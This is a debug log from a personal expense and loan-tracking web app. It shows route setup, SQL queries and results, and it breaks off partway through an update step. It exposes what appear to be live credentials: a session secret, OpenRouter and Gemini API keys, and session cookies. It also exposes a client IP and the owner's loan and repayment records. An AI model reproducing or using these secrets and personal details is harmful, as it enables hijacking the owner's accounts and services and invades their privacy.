2026-05-01T04:48:34.715Z server-connect:output identity: 1
2026-05-01T04:48:34.715Z server-connect:app Executing action step restrict
2026-05-01T04:48:34.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:34.715Z server-connect:output restrict: undefined
2026-05-01T04:48:34.715Z server-connect:app Executing action step select
2026-05-01T04:48:34.715Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-01T04:48:34.716Z server-connect:output restrict: undefined
2026-05-01T04:48:34.716Z server-connect:app Executing action step single
2026-05-01T04:48:34.716Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-05-01T04:48:34.718Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 }
]
2026-05-01T04:48:34.719Z server-connect:output last_invoice: { max_invoice: 1244 }
2026-05-01T04:48:56.630Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-01T04:48:56.804Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-01T04:48:56.883Z server-connect:setup:upload Upload middleware configured.
2026-05-01T04:48:56.883Z server-connect:secure CSRF Protection initialized
2026-05-01T04:48:56.885Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-01T04:48:56.887Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-01T04:48:56.887Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-01T04:48:56.888Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-01T04:48:56.888Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-01T04:48:56.889Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-01T04:48:56.890Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-01T04:48:56.891Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-01T04:48:56.893Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-01T04:48:56.894Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-01T04:48:56.894Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-01T04:48:56.894Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-01T04:48:56.895Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-01T04:48:56.895Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-01T04:48:56.895Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-01T04:48:56.896Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-01T04:48:56.896Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-01T04:48:56.896Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-01T04:48:56.896Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-01T04:48:56.897Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-01T04:48:56.897Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-01T04:48:56.897Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-01T04:48:56.898Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-01T04:48:56.898Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-01T04:48:56.898Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-01T04:48:56.898Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-01T04:48:56.899Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-01T04:48:56.899Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-01T04:48:56.899Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-01T04:48:56.899Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-01T04:48:56.899Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-01T04:48:56.900Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-01T04:48:56.900Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-01T04:48:56.900Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-01T04:48:56.900Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-01T04:48:56.900Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-01T04:48:56.901Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-01T04:48:56.901Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-01T04:48:57.024Z server-connect:router Serving templateView /emis
2026-05-01T04:48:57.028Z server-connect:app Executing action step identify
2026-05-01T04:48:57.028Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:57.029Z server-connect:output identity: 1
2026-05-01T04:48:57.029Z server-connect:app Executing action step restrict
2026-05-01T04:48:57.030Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T04:48:57.031Z server-connect:output restrict: undefined
2026-05-01T04:48:57.031Z server-connect:router Render template emis
2026-05-01T04:48:57.032Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-02T04:48:27.645Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-01T04:48:57.293Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-05-01T04:48:57.293Z server-connect:app Executing action step identify
2026-05-01T04:48:57.293Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:57.294Z server-connect:output identity: 1
2026-05-01T04:48:57.294Z server-connect:app Executing action step restrict
2026-05-01T04:48:57.294Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:57.295Z server-connect:output restrict: undefined
2026-05-01T04:48:57.295Z server-connect:app Executing action step custom
2026-05-01T04:48:57.296Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-05-01T04:48:57.301Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '10',
    total_remaining_amount: 220310,
    total_paid_amount: 837178,
    percentage_paid: '79.17'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-05-01T04:49:00.205Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:00.207Z server-connect:app Executing action step identify
2026-05-01T04:49:00.207Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:00.207Z server-connect:output identity: 1
2026-05-01T04:49:00.207Z server-connect:app Executing action step restrict
2026-05-01T04:49:00.208Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:00.211Z server-connect:output restrict: undefined
2026-05-01T04:49:00.212Z server-connect:app Executing action step select
2026-05-01T04:49:00.212Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:00.217Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-05-01T04:49:09.836Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-05-01T04:49:09.837Z server-connect:app Executing action step identify
2026-05-01T04:49:09.837Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:09.837Z server-connect:output identity: 1
2026-05-01T04:49:09.837Z server-connect:app Executing action step restrict
2026-05-01T04:49:09.837Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:09.838Z server-connect:output restrict: undefined
2026-05-01T04:49:09.838Z server-connect:app Executing action step update
2026-05-01T04:49:09.838Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
